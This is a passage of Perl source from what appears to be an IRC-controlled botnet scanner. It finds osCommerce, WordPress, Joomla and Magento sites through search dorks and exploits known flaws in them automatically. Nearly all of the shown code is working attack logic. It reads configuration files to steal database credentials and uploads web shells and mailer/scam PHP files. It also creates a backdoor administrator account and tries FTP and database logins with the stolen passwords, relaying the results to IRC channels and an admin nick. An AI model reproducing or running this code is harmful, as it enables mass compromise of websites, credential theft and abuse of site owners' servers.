  2855.                             &os($shell,$chan,$engine,$oscologo,$nick);
  2856.                     }
  2857.                 }
  2858.                 if ($cob2 =~ /TABLE_HEADING_FILENAME/i) {
  2859.                     my $test2 = $fm."?action=download&filename=/includes/configure.php";
  2860.                     my $cek2 = &get_content($test2);
  2861.                     if ($cek2 =~ /http:\/\//) {
  2862.                         &admin_osco($site,$chan,$engine);
  2863.                     &osql_xpl($test2,$chan,$site,$engine);
  2864.                     }
  2865.                     my $aplod2 = LWP::UserAgent->new;
  2866.                     my $res2 = $aplod2->post($fm."?action=processuploads",['file_1' => ['./mailer.gif' => 'mailer.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res2->as_string;
  2867.                     my $resb = $aplod2->post($fm."?action=processuploads",['file_1' => ['./scam.gif' => '.images.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resb->as_string;
  2868.                     my $cekap = &get_content($shell);&get_content($shellx);
  2869.                     if ($cekap =~ /BArNEr/) {
  2870.                             &os($shell,$chan,$engine,$oscologo,$nick);
  2871.                     }
  2872.                 }
  2873.                 if ($cob3 =~ /TABLE_HEADING_BANNERS/i) {
  2874.                     my $test3 = $bm."?action=download&filename=/includes/configure.php";
  2875.                     my $cek3 = &get_content($test3);
  2876.                     if ($cek3 =~ /http:\/\//) {
  2877.                         &admin_osco($site,$chan,$engine);
  2878.                     &osql_xpl($test3,$chan,$site,$engine);
  2879.                     }
  2880.                     my $aplod3 = LWP::UserAgent->new;
  2881.                     my $res3 = $aplod3->post($bm."?action=insert",['banners_image' => ['./mailer.gif' => 'mailer.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res3->as_string;
  2882.                     my $resc = $aplod3->post($bm."?action=insert",['banners_image' => ['./scam.gif' => '.images.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resc->as_string;
  2883.                     my $cekap = &get_content($shell);&get_content($shellx);
  2884.                     if ($cekap =~ /BArNEr/) {
  2885.                             &os($shell,$chan,$engine,$oscologo,$nick);
  2886.                     }
  2887.                 }
  2888.                 if ($cob4 =~ /TABLE_HEADING_ADMINISTRATORS/i) {
  2889.                     my $test4 = $pm."?action=download&filename=/includes/configure.php";
  2890.                     my $cek4 = &get_content($test4);
  2891.                     if ($cek4 =~ /http:\/\//) {
  2892.                         &admin_osco($site,$chan,$engine);
  2893.                     &osql_xpl($test4,$chan,$site,$engine);
  2894.                     }
  2895.                     my $aplod4 = LWP::UserAgent->new;
  2896.                     my $res4 = $aplod4->post($pm."?action=insert",['admin_1' => ['./mailer.gif' => 'mailer.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res4->as_string;
  2897.                     my $resd = $aplod4->post($pm."?action=insert",['admin_1' => ['.scam.gif' => '.images.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resd->as_string;
  2898.                     my $cekap = &get_content($shell);&get_content($shellx);
  2899.                     if ($cekap =~ /BArNEr/) {
  2900.                             &os($shell,$chan,$engine,$oscologo,$nick);
  2901.                     }
  2902.                 }
  2903.                 } exit;
  2904.             }
  2905.         }
  2906.     }
  2907. }
  2908.  
  2909. sub admin_osco(){
  2910.     my $site = $_[0];
  2911.     my $chan = $_[1];
  2912.     my $engine = $_[2];
  2913.     my $browser = LWP::UserAgent->new();
  2914.     my $responde = HTTP::Request->new(POST => "http://".$site."/admin/administrators.php/login.php?action=insert");
  2915.         $responde->content_type("application/x-www-form-urlencoded");
  2916.         $responde->content("username=magic&password=pass");
  2917.         if($browser->request($responde)->as_string){
  2918.         my $ch = "http://".$site."admin/administrators.php/login.php?action=new";
  2919.         my $check = &get_content($ch);
  2920.         if ($check =~ /magic/i){
  2921.         &msg("$chan","$oscologo4,1$engine0,1 ADMIN4,1 http://".$site."/admin/administrators.php/login.php USER:magic PASS:pass"); sleep(3);
  2922.         }
  2923.     }
  2924. }
  2925.  
  2926. sub osql_xpl() {
  2927.      my $url    = $_[0];
  2928.      my $chan   = $_[1];
  2929.      my $site   = $_[2];
  2930.      my $engine = $_[3];
  2931.      my $request   = HTTP::Request->new(GET=>$url);
  2932.      my $browser   = LWP::UserAgent->new();
  2933.         $browser->timeout(15);
  2934.         my $response  = $browser->request($request);
  2935.          if ($response->is_success) {
  2936.             my $data   = $response->as_string;
  2937.             if ($data =~ m/DB_SERVER/g && $data =~ m/DB_SERVER_USERNAME/g && $data =~ m/DB_SERVER_PASSWORD/g && $data =~ m/DB_DATABASE/g ) {
  2938.             if ($data =~ m/'DIR_FS_CATALOG', '(.*)'/g) { $dbpath = $1; }
  2939.             if ($data =~ m/'DB_SERVER', '(.*)'/g || $data =~ m/'DB_SERVER', \"(.*)\"/g ) {
  2940.             if ($1 eq "localhost") { $clr = "4,1 "; }
  2941.             elsif ($1 eq "localhost:3306") { $clr = "0,1 "; }
  2942.             elsif ($1 eq "127.0.0.1") { $clr = "4,1 "; }
  2943.             $mysqlsrv = $clr.$1; }
  2944.             if ($data =~ m/'DB_SERVER_USERNAME', '(.*)'/g || $data =~ m/'DB_SERVER_USERNAME', \"(.*)\"/g ) { $dbuser = $1; }
  2945.             if ($data =~ m/'DB_SERVER_PASSWORD', '(.*)'/g || $data =~ m/'DB_SERVER_PASSWORD', \"(.*)\"/g ) { $dbpass = $1; }
  2946.             if ($data =~ m/'DB_DATABASE', '(.*)'/g || $data =~ m/'DB_DATABASE', \"(.*)\"/g ) { $db = $1; }
  2947.             &msg("$chan","$oscologo4,1$engine0,1 DATABASE4,1 http://$site DB_USER: $dbuser DB_PASS: $dbpass DB: $db"); sleep(5);
  2948.             my $SQLServ = $url;
  2949.             if($SQLServ =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  2950.             my $host = $2;
  2951.             &dbi_connect($mysqlsrv,$dbuser,$dbpass,$db,$chan,$engine,$oscologo);sleep(3);
  2952.             &ftp_connect($SQLServ,$host,$dbuser,$dbpass,$chan,$engine);sleep(2);
  2953.             &dbi_connect($host,$dbuser,$dbpass,$db,$chan,$engine,$oscologo);
  2954.             }
  2955.         }
  2956.     }
  2957. }
  2958.  
  2959. sub switch_exploit() {
  2960.     my $chan = $_[0];
  2961.     my $bug = $_[1];
  2962.     my $dork = $_[2];
  2963.     my $engine = $_[3];
  2964.     my $nick = $_[4];
  2965.     my $count = 0;
  2966.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$switchlogo);
  2967.     my $num = scalar(@totexploit);
  2968.     if ($num > 0){
  2969.         foreach my $site(@totexploit){
  2970.             $count++;
  2971.         if ($count == $num-1) { &msg("$chan","$switchlogo4,1$engine0,1 Searching..."); }
  2972.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  2973.                 my $cxshell = "http://".$site."/wp-content/uploads/2014/09/magic.php";
  2974.                 my $switch = "http://".$site.$bug;
  2975.                 my $cek  = &get_content($switch);sleep(1);
  2976.         if ($cek =~ /No files were uploaded/i){
  2977.      
  2978.                 my $explo = $rceinjector."?url=".$site."&type=switchblade";
  2979.                 &get_content($explo);sleep(1);
  2980.                 my $check = &get_content($cxshell."?shell");sleep(1);
  2981.                 if ($check =~ /BArNEr/i){
  2982.         &os($cxshell,$chan,$engine,$switchlogo,$nick);
  2983. }
  2984. }
  2985.             } exit; }
  2986.         }
  2987.     }
  2988. }
  2989.  
  2990. sub photo_exploit() {
  2991.     my $chan = $_[0];
  2992.     my $bug = $_[1];
  2993.     my $dork = $_[2];
  2994.     my $engine = $_[3];
  2995.     my $nick = $_[4];
  2996.     my $count = 0;
  2997.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$photologo);
  2998.     my $num = scalar(@totexploit);
  2999.     if ($num > 0){
  3000.         foreach my $site(@totexploit){
  3001.             $count++;
  3002.         if ($count == $num-1) { &msg("$chan","$photologo4,1$engine0,1 Searching..."); }
  3003.                 my $photo = "http://".$site.$bug;
  3004.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3005.                 my $cxshell = "http://".$site."/magic.php";
  3006.                 my $cek  = &get_content($photo);sleep(1);
  3007.                 my $explo = $rceinjector."?url=".$site."&type=photo";
  3008.                 &get_content($explo);sleep(1);
  3009.                 my $check = &get_content($cxshell."?shell");sleep(1);
  3010.                 if ($check =~/BArNEr/i){
  3011.         &os($cxshell,$chan,$engine,$photologo,$nick);
  3012. }
  3013. }
  3014.             } exit; }
  3015.         }
  3016.     }
  3017. }
  3018.  
  3019. sub elemin_exploit() {
  3020.     my $chan = $_[0];
  3021.     my $bug = $_[1];
  3022.     my $dork = $_[2];
  3023.     my $engine = $_[3];
  3024.     my $nick = $_[4];
  3025.     my $count = 0;
  3026.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$eleminlogo);
  3027.     my $num = scalar(@totexploit);
  3028.     if ($num > 0){
  3029.         foreach my $site(@totexploit){
  3030.             $count++;
  3031.         if ($count == $num-1) { &msg("$chan","$eleminlogo4,1$engine0,1 Searching..."); }
  3032.                 my $elemin = "http://".$site.$bug;
  3033.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3034.                 my $cxshell = "http://".$site."/wp-content/themes/elemin/uploads/magic.php";
  3035.                 my $cek  = &get_content($elemin);sleep(1);
  3036.                 my $explo = $rceinjector."?url=".$site."&type=elemin";
  3037.                 &get_content($explo);sleep(1);
  3038.                 my $check = &get_content($cxshell."?shell");sleep(1);
  3039.                 if ($check =~ /BArNEr/i){
  3040.         &os($cxshell,$chan,$engine,$eleminlogo,$nick);
  3041. }
  3042. }
  3043.             } exit; }
  3044.         }
  3045.     }
  3046. }
  3047.  
  3048. sub RevSlider_exploit() {
  3049.     my $chan = $_[0];
  3050.     my $bug = $_[1];
  3051.     my $dork = $_[2];
  3052.     my $engine = $_[3];
  3053.     my $nick = $_[4];
  3054.     my $count = 0;
  3055.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$revlogo);
  3056.     my $num = scalar(@totexploit);
  3057.     if ($num > 0){
  3058.         foreach my $site(@totexploit){
  3059.             $count++;
  3060.         if ($count == $num-1) { &msg("$chan","$revlogo4,1$engine0,1 Searching..."); }
  3061.                            my $test = "http://".$site."/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php";    
  3062.                            my $file = &get_content($test);
  3063.                            my $file = &get_content($test);
  3064.                            if ($file =~ /DB_HOST/i )
  3065.                              {
  3066.                            my $serverIP   ="";
  3067.                            if ($file =~ m/'DB_NAME', '(.*)'/g) {$dbname=$1;}
  3068.                            if ($file =~ m/'DB_USER', '(.*)'/g) {$user=$1;}
  3069.                            if ($file =~ m/'DB_PASSWORD', '(.*)'/g) {$pass=$1;}
  3070.                            if ($file =~ m/'DB_HOST', '(.*)'/g) {$serverIP=$1;}
  3071.                             &msg("$chan","$revlogo4,1$engine 0,1Database[+] 4,1http://".$site." [+]hostname:".$serverIP." [+]username:".$user." [+]password:".$pass." [+]dbname:".$dbname."");
  3072.                            if ($user =~ /_/) {@users = split("_", $user); $usr = $users[0];}
  3073.                            my $ceklog = "ftp://".$usr.":".$pass."@".$site."";
  3074.                            my $ceklog2 = "ftp://".$user.":".$pass."@".$site."";
  3075.                            my $ftplog = &get_content($ceklog);
  3076.                            my $ftplog2 = &get_content($ceklog2);
  3077.                            if ($ftplog =~ /ftp/) {
  3078.                            &msg("$admin","4,1[+]$revlogo0,1$engine 4,1FTP[+] 0,1ftp://".$site." [+]username:".$usr." [+]password:".$pass."");
  3079.                            &msg("$chan","4,1[+]$revlogo0,1$engine 4,1FTP[+]Success send To Admin");
  3080.                            }
  3081.                            if ($ftplog2 =~ /ftp/) {
  3082.                            &msg("$admin","4,1[+]$revlogo0,1$engine 4,1FTP[+] 0,1ftp://".$site." [+]username:".$user." [+]password:".$pass."");
  3083.                            &msg("$chan","4,1[+]$revlogo0,1$engine 4,1FTP[+]Success send To Admin");
  3084.         }
  3085.         my $hosts = "http://".$site;
  3086.         if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  3087.             $host = $2;
  3088.             &dbi_connect($host,$user,$pass,$dbname,$chan,$engine,$revlogo);sleep(1);
  3089.                  &msg("$chan","!ftp ".$host." ".$user." ".$pass."");
  3090.                         if ($dbname =~ /_/) {@users = split("_",$dbname); $dbuser = $users[0]; }
  3091.                             &ftp_connect($url,$host,$dbuser,$pass,$chan,$engine,$revlogo);sleep(1);
  3092.                             &msg("$chan","!ftp ".$host." ".$dbuser." ".$pass."");
  3093.             }   }
  3094.         }
  3095.     }
  3096. }
  3097. sub RevSlider2_exploit() {
  3098.     my $chan = $_[0];
  3099.     my $bug = $_[1];
  3100.     my $dork = $_[2];
  3101.     my $engine = $_[3];
  3102.     my $nick = $_[4];
  3103.     my $count = 0;
  3104.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$revlogo);
  3105.     my $num = scalar(@totexploit);
  3106.     if ($num > 0){
  3107.         foreach my $site(@totexploit){
  3108.             $count++;
  3109.         if ($count == $num-1) { &msg("$chan","$revlogo4,1$engine0,1 Searching..."); }
  3110.                            my $test = "http://".$site."/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php";    
  3111.                            my $file = &get_content($test);
  3112.                            my $file = &get_content($test);
  3113.                            if ($file =~ /DB_HOST/i )
  3114.                              {
  3115.                            my $serverIP   ="";
  3116.                            if ($file =~ m/'DB_NAME', '(.*)'/g) {$dbname=$1;}
  3117.                            if ($file =~ m/'DB_USER', '(.*)'/g) {$user=$1;}
  3118.                            if ($file =~ m/'DB_PASSWORD', '(.*)'/g) {$pass=$1;}
  3119.                            if ($file =~ m/'DB_HOST', '(.*)'/g) {$serverIP=$1;}
  3120.                             &msg("$chan","$revlogo4,1$engine 0,1Database[+] 4,1http://".$site." [+]hostname:".$serverIP." [+]username:".$user." [+]password:".$pass." [+]dbname:".$dbname."");
  3121.                            if ($user =~ /_/) {@users = split("_", $user); $usr = $users[0];}
  3122.                            my $ceklog = "ftp://".$usr.":".$pass."@".$site."";
  3123.                            my $ceklog2 = "ftp://".$user.":".$pass."@".$site."";
  3124.                            my $ftplog = &get_content($ceklog);
  3125.                            my $ftplog2 = &get_content($ceklog2);
  3126.                            if ($ftplog =~ /ftp/) {
  3127.                            &msg("$admin","4,1[+]$revlogo0,1$engine 4,1FTP[+] 0,1ftp://".$site." [+]username:".$usr." [+]password:".$pass."");
  3128.                            &msg("$chan","4,1[+]$revlogo0,1$engine 4,1FTP[+]Success send To Admin");
  3129.                            }
  3130.                            if ($ftplog2 =~ /ftp/) {
  3131.                            &msg("$admin","4,1[+]$revlogo0,1$engine 4,1FTP[+] 0,1ftp://".$site." [+]username:".$user." [+]password:".$pass."");
  3132.                            &msg("$chan","4,1[+]$revlogo0,1$engine 4,1FTP[+]Success send To Admin");
  3133.         }
  3134.         my $hosts = "http://".$site;
  3135.         if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  3136.             $host = $2;
  3137.             &dbi_connect($host,$user,$pass,$dbname,$chan,$engine,$revlogo);sleep(1);
  3138.                  &msg("$chan","!ftp ".$host." ".$user." ".$pass."");
  3139.                         if ($dbname =~ /_/) {@users = split("_",$dbname); $dbuser = $users[0]; }
  3140.                             &ftp_connect($url,$host,$dbuser,$pass,$chan,$engine,$revlogo);sleep(1);
  3141.                             &msg("$chan","!ftp ".$host." ".$dbuser." ".$pass."");
  3142.             }   }
  3143.         }
  3144.     }
  3145. }
  3146. sub folio_exploit() {
  3147.     my $chan = $_[0];
  3148.     my $bug = $_[1];
  3149.     my $dork = $_[2];
  3150.     my $engine = $_[3];
  3151.     my $nick = $_[4];
  3152.     my $count = 0;
  3153.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$foliologo);
  3154.     my $num = scalar(@totexploit);
  3155.     if ($num > 0){
  3156.         foreach my $site(@totexploit){
  3157.             $count++;
  3158.         if ($count == $num-1) { &msg("$chan","$foliologo4,1$engine0,1 Searching..."); }
  3159.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3160.                 my $btportfolioshell = "http://".$site."administrator/components/com_bt_portfolio/magic.php";
  3161.                 my $type = $rceinjector."?url=".$site."&type=folio";
  3162.                 my $cekk = &get_content($type);
  3163.         my $check = &get_content($btportfolioshell."?shell");
  3164.                 if ($check =~ /BArNEr/i){
  3165.         &os($btportfolioshell,$chan,$engine,$foliologo,$nick);
  3166. }
  3167. }
  3168.             } exit; }
  3169.         }
  3170.     }
  3171. }
  3172.  
  3173. sub rci_exploit() {
  3174.     my $chan = $_[0];
  3175.     my $bug = $_[1];
  3176.     my $dork = $_[2];
  3177.     my $engine = $_[3];
  3178.     my $nick = $_[4];
  3179.     my $count = 0;
  3180.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$rcilogo);
  3181.     my $num = scalar(@totexploit);
  3182.     if ($num > 0){
  3183.         foreach my $site(@totexploit){
  3184.             $count++;
  3185.         if ($count == $num-1) { &msg("$chan","$rcilogo4,1$engine0,1 Searching..."); }
  3186.             foreach my $jpath(@jpaths) {
  3187.             my $test = "http://".$site.$jpath.$jvuln."?name=magic.php";
  3188.             my $test1 = "http://".$site.$jpath.$jvuln."?name=magic.php.pHp";
  3189.                         my $test2 = "http://".$site.$jpath.$jvuln."?name=.htaccess";
  3190.             my $cek1 = &get_content($test);&get_content($test1);
  3191.             if ($cek1 =~ /Saving your image to/i){
  3192. &msg("$chan","$rcilogo 4,1Exploiting  0,1http://$site  4,1Loading.. ");
  3193.                        
  3194.             &jg_magic($test);
  3195.             &jg_magic($test1);
  3196.             my $shell = "http://".$site.$jpath.$jshell;
  3197.             my $shellx = "http://".$site.$jpath.$jcpanel;
  3198.                         my $check = &get_content($shell);
  3199.                         my $jancok = &get_content($shellx);
  3200.                         if ($check =~ /BArNEr/i){
  3201.                 &os($shell,$chan,$engine,$rcilogo,$nick);
  3202.             }
  3203.                    
  3204.                         if ($jancok =~ /BArNEr/i){
  3205.                 &os2($shellx,$chan,$engine,$rcilogo,$nick);  }
  3206.        
  3207.             }     }
  3208.         }
  3209.     }
  3210.  
  3211. }
  3212.  
  3213. sub up_exploit() {
  3214.     my $chan = $_[0];
  3215.     my $bug = $_[1];
  3216.     my $dork = $_[2];
  3217.     my $engine = $_[3];
  3218.     my $nick = $_[4];
  3219.     my $count = 0;
  3220.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$uplogo);
  3221.     my $num = scalar(@totexploit);
  3222.     if ($num > 0){
  3223.         foreach my $site(@totexploit){
  3224.             $count++;
  3225.             if ($count == $num-1) { &msg("$chan","$uplogo 4,1$engine Selesai"); }
  3226.             my $kontol  = "http://".$site."/xmlrpc.php";
  3227.             my $cek  = &get_content($kontol);
  3228.             if ($cek =~ m/XML-RPC server accepts POST requests only/g) {
  3229.             way2($site,$chan,$engine);     
  3230.             }
  3231.         }
  3232.     }
  3233.  
  3234. sub way2() {
  3235. my $site   = $_[0];
  3236. my $chan    = $_[1];
  3237. my $engine = $_[2];    
  3238.                 $test = "http://".$site;
  3239.                 $control = &get_content($test);sleep(7);            
  3240.             if ($control =~ /\/wp-content\/themes\/(.*?)\//i){
  3241.                 $temane = $1;
  3242.                 }  
  3243.     my $bawere    = "http://".$site."/wp-content/themes/".$temane."/includes/uploadify/upload_settings_image.php";
  3244.     my $itil = get_content($bawere);
  3245.     if ($itil =~ /{"status":"NOK", "ERR":"This file is incorect"}/) {  
  3246.     my $ua = LWP::UserAgent->new;
  3247.     $ua->timeout(30);
  3248.     my $response = $ua->post( $bawere,
  3249.         Content_Type => 'form-data',
  3250.         Content => [ 'Filedata' => ["$jembot"] ]
  3251.     );
  3252.     my $body = $response->content;
  3253.     if($body =~ /rel=\\"(.*?)">/){
  3254.         my $out = $1;
  3255.         $out =~ s/\\//g;
  3256.         my $semprot = &get_content($out);
  3257.         if ($semprot =~ /GIF89a/) {
  3258.         if ($semprot =~ /<title>BArNEr<\/title>(.*?)<form/) {$os = $1;}
  3259.         &msg("$admin","4,1$engine theme: $temane 0,1 $out 4,1$os");
  3260.         &msg("$chan","4,1$uplogo send to $nick theme: $temane 4,1$os");
  3261.         &msg("$nick","4,1$uplogo theme: $temane $out 4,1$os");
  3262.                 }
  3263.             }
  3264.         }
  3265.     }
  3266. }
  3267.  
  3268.  
  3269. sub jinc_exploit() {
  3270.     my $chan = $_[0];
  3271.     my $bug = $_[1];
  3272.     my $dork = $_[2];
  3273.     my $engine = $_[3];
  3274.     my $nick = $_[4];
  3275.     my $count = 0;
  3276.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$jinclogo);
  3277.     my $num = scalar(@totexploit);
  3278.     if ($num > 0){
  3279.         foreach my $site(@totexploit){
  3280.             $count++;
  3281.         if ($count == $num-1) { &msg("$chan","$jinclogo4,1$engine0,1 Searching..."); }
  3282.             foreach my $jpath(@jpaths) {
  3283.             my $test = "http://".$site.$bug."?name=magic.php";
  3284.             my $test1 = "http://".$site.$bug."?name=magic.php.pHp";
  3285.                         my $test2 = "http://".$site.$bug."?name=.htaccess";
  3286.             my $cek1 = &get_content($test);&get_content($test1);
  3287.             if ($cek1 =~ /Saving your image to/i){
  3288.             &jg_magic($test);
  3289.             &jg_magic($test1);
  3290.             my $shell = "http://".$site."administrator/components/com_jinc/classes/graphics/tmp-upload-images/magic.php";
  3291.             my $shellx = "http://".$site."administrator/components/com_jinc/classes/graphics/tmp-upload-images/cpx.php";
  3292.                         my $check = &get_content($shell);&get_content($shellx);
  3293.                         if ($check =~ /GIF89a/i){
  3294.                 &os($shell,$chan,$engine,$jinclogo,$nick);
  3295.             }  }
  3296.         }
  3297.     }
  3298. }
  3299. }
  3300.  
  3301. sub jnews_exploit() {
  3302.     my $chan = $_[0];
  3303.     my $bug = $_[1];
  3304.     my $dork = $_[2];
  3305.     my $engine = $_[3];
  3306.     my $nick = $_[4];
  3307.     my $count = 0;
  3308.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$jnewslogo);
  3309.     my $num = scalar(@totexploit);
  3310.     if ($num > 0){
  3311.         foreach my $site(@totexploit){
  3312.             $count++;
  3313.         if ($count == $num-1) { &msg("$chan","$jnewslogo4,1$engine0,1 Searching..."); }
  3314.             foreach my $jpath(@jpaths) {
  3315.             my $test = "http://".$site.$bug."?name=magic.php";
  3316.             my $test1 = "http://".$site.$bug."?name=magic.php.pHp";
  3317.                         my $test2 = "http://".$site.$bug."?name=.htaccess";
  3318.             my $cek1 = &get_content($test);&get_content($test1);
  3319.             if ($cek1 =~ /Saving your image to/i){
  3320.                        
  3321.             &jg_magic($test);
  3322.             &jg_nagic($test1);
  3323.             my $shell = "http://".$site."components/com_jnews/includes/openflashchart/tmp-upload-images/magic.php";
  3324.             my $shellx = "http://".$site."components/com_jnews/includes/openflashchart/tmp-upload-images/cpx.php";
  3325.                         my $check = &get_content($shell);&get_content($shellx);
  3326.                         if ($check =~ /GIF89a/i){
  3327.                 &os($shell,$chan,$engine,$jnewslogo,$nick);
  3328.             }  }
  3329.         }
  3330.     }
  3331. }
  3332. }
  3333. sub rev_exploit() {
  3334.     my $chan = $_[0];
  3335.     my $bug = $_[1];
  3336.     my $dork = $_[2];
  3337.     my $engine = $_[3];
  3338.     my $count = 0;
  3339.     my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo);
  3340.     my $num = scalar(@list);
  3341.     if ($num > 0) {
  3342.         foreach my $site (@list) {
  3343.             $count++;
  3344.             if ($count == $num-1) { &msg("$chan","$revlogo(4,1@4,1$engine4,1)0,1 Scan finish  "); }
  3345.             my $test = "http://".$site."wp-admin/admin-ajax.php";
  3346.             my $html = &get_content($test);
  3347.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3348.             if ($html =~ /0/ || $html =~ m/1 0/i ) {
  3349.                 &rev_xpl($test,$chan,$site,$engine);
  3350.                 &rev2_xpl($test,$chan,$site,$engine);
  3351.                 } else { }
  3352.             } exit; sleep(2); }
  3353.         }
  3354.     }
  3355. }
  3356.  
  3357. sub rev_xpl() {
  3358. my $ua     = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
  3359.    $ua->timeout(10);
  3360.    $ua->agent($useragent);
  3361. my $url    = $_[0];
  3362. my $chan   = $_[1];
  3363. my $site   = $_[2];
  3364. my $engine = $_[3];
  3365. my $plugin = "revslider";
  3366. my $action = "revslider_ajax_action";
  3367. my $update_file = "revslider.zip";
  3368. my $exploit = $ua->post("$url", Cookie => "", Content_Type => "form-data", Content => [action => "$action", client_action => "update_plugin", update_file => ["$update_file"]]);
  3369.     my $status  = $exploit->as_string;
  3370.     my $check = &get_content("http://".$site."wp-content/plugins/revslider/temp/update_extract/revslider/arhy.php");
  3371.     my $checkx = &get_content("http://".$site."wp-content/plugins/revslider/temp/update_extract/revslider/xxx.php");
  3372.     my $checkxx = &get_content("http://".$site."wp-content/plugins/revslider/temp/update_extract/revslider/love.php");
  3373.     if ($check =~ /Arhy - Shell/) {
  3374.     my $safe = ""; my $os = "";
  3375.     if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;}
  3376.     if ($check =~ m/Uname : (.*?)<\/b>/){$os=$1;}
  3377.     &msg("$chan","$revlogo4,1(4,1@4,1$engine4,1)0,1(0,1@0,1SHeLL0,1)4,1 The 0,1Private  4,1Gay :v) 0,1$safe 4,1$os");sleep(2);
  3378.     &msg("$nick","$revlogo4,1(4,1@4,1$engine4,1)0,1(0,1@0,1SHeLL0,1)4,1 http://".$site."wp-content/plugins/revslider/temp/update_extract/revslider/arhy.php 3$safe $os ");sleep(2);
  3379.     &msg("$admin","$revlogo4,1(4,1@4,1$engine4,1)0,1(0,1@0,1SHeLL0,1)4,1 http://".$site."wp-content/plugins/revslider/temp/update_extract/revslider/arhy.php 0,1$safe 4,1$os ");sleep(2);
  3380.     }
  3381. }
  3382. sub rev2_xpl() {
  3383. my $ua     = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });
  3384.    $ua->timeout(10);
  3385.    $ua->agent($useragent);
  3386. my $url    = $_[0];
  3387. my $chan   = $_[1];
  3388. my $site   = $_[2];
  3389. my $engine = $_[3];
  3390. my $plugin = "showbiz";
  3391. my $action = "showbiz_ajax_action";
  3392. my $update_file = "showbiz.zip";
  3393. my $exploit = $ua->post("$url", Cookie => "", Content_Type => "form-data", Content => [action => "$action", client_action => "update_plugin", update_file => ["$update_file"]]);
  3394.     my $status  = $exploit->as_string;
  3395.     my $check = &get_content("http://".$site."wp-content/plugins/showbiz/temp/update_extract/showbiz/arhy.php");
  3396.     my $checkx = &get_content("http://".$site."wp-content/plugins/showbiz/temp/update_extract/showbiz/xxx.php");
  3397.     my $checkxx = &get_content("http://".$site."wp-content/plugins/showbiz/temp/update_extract/showbiz/love.php");
  3398.     if ($check =~ /Arhy - Shell/) {
  3399.     my $safe = ""; my $os = "";
  3400.     if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;}
  3401.     if ($check =~ m/Uname : (.*?)<\/b>/){$os=$1;}
  3402.     &msg("$chan","$revlogo(4,1@4,1$engine4,1)0,1(0,1@0,1SHeLL0,1)4,1 The Private Gay :v 4,1$safe $os");sleep(2);
  3403.     &msg("$admin","$revlogo(4,1@4,1$engine4,1)0,1(0,1@0,1SHeLL0,1)4,1 http://".$site."wp-content/plugins/showbiz/temp/update_extract/showbiz/arhy.php 4,1$safe $os ");sleep(2);
  3404.     &msg("$admin2","$revlogo(4,1@4,1$engine4,1)0,1(0,1@0,1SHeLL0,1)4,1 http://".$site."wp-content/plugins/showbiz/temp/update_extract/showbiz/arhy.php 4,1$safe $os ");sleep(2);
  3405.     }
  3406. }
  3407. sub magento() {
  3408.     my $chan = $_[0];
  3409.     my $bug = $_[1];
  3410.     my $dork = $_[2];
  3411.     my $engine = $_[3];
  3412.     my $count = 0;
  3413.     my @list = &search_engine($chan,$bug,$dork,$engine,$mglogo);
  3414.     my $num = scalar(@list);
  3415.     if ($num > 0) {
  3416.         foreach my $site (@list) {
  3417.             $count++;
  3418.             if ($count == $num-1) { &msg("$chan","$mglogo4,1(4,1@4,1$engine4,1)0,1 Scan finish for "); }
  3419.                 my $vuln  = "http://".$site."/app/etc/local.xml";
  3420.                 my $html  = &get_content($vuln);
  3421.                   if ($html =~ /dbname/i) {
  3422.                            my $serverIP   ="";
  3423.                            if ($html =~ /<host><!\[\CDATA\[(.*)\]\]\><\/host>/) {$serverIP=$1;}
  3424.                            if ($html =~ /<username><!\[CDATA\[(.*)\]\]\><\/username>/){$user=$1;}
  3425.                            if ($html =~ /<password><!\[CDATA\[(.*)\]\]\><\/password>/){$pass=$1;}
  3426.                            if ($html =~ /<dbname><!\[CDATA\[(.*)\]\]\><\/dbname>/){$dbname=$1;}
  3427.                            &msg("$chan","$mglogo(4,1@0,1$engine4,1)4,1http://".$site." 0,1[+]hostname:4,1".$serverIP."");
  3428.                            &msg("$chan","$mglogo(4,1@0,1$engine4,1)4,1http://".$site." 0,1[+]username:4,1".$user."");
  3429.                            &msg("$chan","$mglogo(4,1@0,1$engine4,1)4,1http://".$site." 0,1[+]password:4,1".$pass."");
  3430.                            &msg("$chan","$mglogo(4,1@0,1$engine4,1)4,1http://".$site." 0,1[+]dbname  :4,1".$dbname."");
  3431.                            if ($user =~ /_/) {@users = split("_", $user); $usr = $users[0];}
  3432.                            my $ceklog = "ftp://".$usr.":".$pass."@".$site."";
  3433.                            my $ceklog2 = "ftp://".$user.":".$pass."@".$site."";
  3434.                            my $ftplog = &get_content($ceklog);
  3435.                            my $ftplog2 = &get_content($ceklog2);
  3436.                            if ($ftplog =~ /ftp/) {
  3437.                            &msg("$admin","4,1[+]$mglogo0,1$engine 4,1FTP[+] 0,1ftp://".$site." [+]username:".$usr." [+]password:".$pass."");
